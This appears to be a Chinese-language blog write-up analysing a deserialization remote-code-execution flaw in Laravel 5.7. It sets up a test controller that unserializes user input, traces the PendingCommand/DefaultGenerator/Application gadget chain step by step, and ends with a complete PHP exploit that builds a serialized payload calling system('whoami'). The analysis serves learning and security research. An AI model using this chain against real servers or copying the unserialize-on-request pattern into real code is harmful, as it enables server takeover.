Laravel5.7反序列化RCE漏洞分析 置顶!

前言

以前只是粗略的知道反序列化漏洞的原理,最近在学习Laravel框架的时候正好想起以前收藏的一篇反序列化RCE漏洞,借此机会跟着学习一下POP链的挖掘

简介

Laravel是一个使用广泛并且优秀的PHP框架。这次挖掘的漏洞Laravel5.7版本,该漏洞需要对框架进行二次开发才能触发该漏洞

本地环境

- Laravel5.7.28

- Wamper64+PHP7.3.5(PHP >= 7.1.3)

环境准备

  1. 使用composer部署Laravel项目

    • 创建一个名为laravel的Laravel项目
      composer create-project laravel/laravel=5.7.* --prefer-dist ./
    • Laravel框架为单入口,入口文件为{安装目录}/public/index.php,使用apache部署后访问入口文件显示Laravel欢迎界面即安装成功(或者使用命令php artisan serve开启临时的开发环境的服务器进行访问)
  2. 配置路由以及控制器

    • Laravel所有的用户请求都由路由来进行控制。我们添加一条如下的路由

<?php

use\Illuminate\Support\Facades\Route;

/*

|--------------------------------------------------------------------------

| Web Routes

|--------------------------------------------------------------------------

|

| Here is where you can register web routes for your application. These

| routes are loaded by the RouteServiceProvider within a group which

| contains the "web" middleware group. Now create something great!

|

*/

Route::get('/',function(){

return view('welcome');

});

// 添加的路由

Route::get('/test','Test\TestController@Test');

  • 控制器中Test函数实现反序列化功能:

namespaceApp\Http\Controllers\Test;

  

useIlluminate\Http\Request;

useApp\Http\Controllers\Controller;

  

classTestControllerextendsController

{

publicfunctionTest()

{

$code=$_GET['c'];

unserialize($code);

}

}


漏洞分析

Laravel5.7版本在vendor/laravel/framework/src/Illuminate/Foundation/Testing文件夹下增加了一个PendingCommand类,官方的解释该类主要功能是用作命令执行,并且获取输出内容。

该类中几个重要属性:


public$test;//一个实例化的类 Illuminate\Auth\GenericUser

protected$app;//一个实例化的类 Illuminate\Foundation\Application

protected$command;//要执行的php函数 system

protected$parameters;//要执行的php函数的参数  array('id')

  • 用于命令执行的函数为PendingCommand.php中的run()函数

/**

     * Execute the command.

     *

     * @returnint

     */

publicfunctionrun()

{

$this->hasExecuted=true;

  

$this->mockConsoleOutput();

  

try{

$exitCode=$this->app[Kernel::class]->call($this->command,$this->parameters);

}catch(NoMatchingExpectationException$e){

if($e->getMethodName()==='askQuestion'){

$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');

}

  

throw$e;

}

  

if($this->expectedExitCode!==null){

$this->test->assertEquals(

$this->expectedExitCode,

$exitCode,

"Expected status code {$this->expectedExitCode} but received {$exitCode}."

);

}

return$exitCode;

}

  • run()函数被析构函数__destruct()调用

/**

     * Handle the object's destruction.

     *

     * @returnvoid

     */

publicfunction__destruct()

{

if($this->hasExecuted){

return;

}

  

$this->run();

}

简单的POP链为:构造的exp经过反序列化后调用__destruct(),进而调用run(),run()进行代码执行。下面进行详细的分析

  • 首先将构造好的序列化数据通过参数C传入,调用__destruct()__destruct()方法中首先判断$hasExecuted,如果为true则return,可以看到该变量默认值为false,所以可以顺利进入run()方法`

/**

     * Determine if command has executed.

     *

     * @varbool

     */

protected$hasExecuted=false;

  

  • 观察run()方法内的代码,我们要让代码顺利执行到run()处才能顺利执行代码。首先进入mockConsoleOutput()方法
    run.png

  • 171行使用Mockery::mock实现对象模拟,经过调试可以顺利运行,接下来进入mockConsoleOutput()函数

mockConsoleOutput.png

  • 接下来又是Mockery::mock实现对象模拟,经过调试代码可以顺利运行到foreachforeach循环里的代码是$this->test->expectedOutput,这里对$this->test类的expectedOutput属性

进行遍历作为数组,代码才能正常执行下去。但是该类并不存在expectedOutput属性;经过分析代码,我们发现这里只要能够返回一个数组代码就可以顺利进行下去。

createABufferedOutputMock.png

  • 因此我们全文搜索__get()方法,让__get()方法返回我们想要的数组就可以了。这里我选择的是DefaultGenerator.php

get.png

  • 我们对DefaultGenerator类进行实例化并传入数组array('hello'=>'world'),打断点进行调试可以看到代码顺利执行下去了

get1.png

get2.png

  • 后面的代码都是可以顺利执行下去的,接下来我们又回到了mockConsoleOutput()方法内,接下来又是一个forearch循环,如上一步的遍历数组一样,顺利执行下去

get3.png

  • 接下来代码会执行到$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);,其中Kernel::class为固定值:"Illuminate\Contracts\Console\Kernel",在该处下断点进行调试分析下面的调用栈

 → offsetGet(),$key=“Illuminate\Contracts\Console\Kernel”

offsetGet.png

 → make(),$abstract=“Illuminate\Contracts\Console\Kernel”

make.png

 → make():父类的make(),$abstract=“Illuminate\Contracts\Console\Kernel”,$parameters=array(0)

make1.png

  • 其中return $this->instances[$abstract];=$this->instances["Illuminate\Contracts\Console\Kernel"]也就是返回了Illuminate\Foundation\Application对象;即我们可以将任意对象赋值给 $this->instances[$abstract] ,这个对象最终会赋值给[Kernel::class] ,接着调用call()方法

 → resolve(),$abstract=“Illuminate\Contracts\Console\Kernel”,instances数组中为Application对象

resolve.png

  • 下面我们成功的执行到了call()方法,

 →call()

call.png

  • 其中isCallableWithAtSign()方法是判断确定给定的字符串是否使用Class@method语法,不满足自然跳出,执行到

returnstatic::callBoundMethod($container,$callback,function()use($container, $callback, $parameters){

returncall_user_func_array(

$callback,static::getMethodDependencies($container,$callback,$parameters)

);

});

 →BoundMethod::call()

call1.png

  • 我们来分析一下callBoundMethod()函数,可以发现它的作用只是判断$callback是否为数组

protectedstaticfunctioncallBoundMethod($container, $callback, $default)

{

if(!is_array($callback)){

return$defaultinstanceofClosure? $default():$default;

}

  • 继续跟进下面的匿名函数:

function()use($container, $callback, $parameters){

returncall_user_func_array(

$callback,static::getMethodDependencies($container,$callback,$parameters)

);

}

其中$callback参数是我们可控的,第二个参数由函数getMethodDependencies()控制,我们跟进看一下

call2.png

- 经过调试,得出结论:它将我们传入的$parameters数组和$dependencies数组合并,其中$dependencies数组为空,而$parameters数组是我们可控的。最终也就是执行了call_user_func_array('xxx',array('xxx'))

本地环境复现

exp文件


<?php

  

namespaceIlluminate\Foundation\Testing {

classPendingCommand

    {

public$test;

protected$app;

protected$command;

protected$parameters;

  

publicfunction__construct($test, $app, $command, $parameters)

{

$this->test=$test;//一个实例化的类 Illuminate\Auth\GenericUser

$this->app=$app;//一个实例化的类 Illuminate\Foundation\Application

$this->command=$command;//要执行的php函数 system

$this->parameters=$parameters;//要执行的php函数的参数  array('id')

}

    }

}

  

namespaceFaker {

classDefaultGenerator

    {

protected$default;

  

publicfunction__construct($default=null)

{

$this->default=$default;

}

    }

}

  

namespaceIlluminate\Foundation {

classApplication

    {

protected$instances=[];

  

publicfunction__construct($instances=[])

{

$this->instances['Illuminate\Contracts\Console\Kernel']=$instances;

}

    }

}

  

namespace {

$defaultgenerator=newFaker\DefaultGenerator(array("hello"=>"world"));

  

$app=newIlluminate\Foundation\Application();

  

$application=newIlluminate\Foundation\Application($app);

  

$pendingcommand=newIlluminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,'system',array('whoami'));

  

echourlencode(serialize($pendingcommand));

}

  • 最后贴上利用截图

exp.png

总结

  • 这个反序列化RCE重要的点:

    在进入run()函数,运行到call()前,需要bypassmockConsoleOutput()mockConsoleOutput(),由于某个属性的不存在,我们需要魔法函数__get()返回数组来顺利运行下文的代码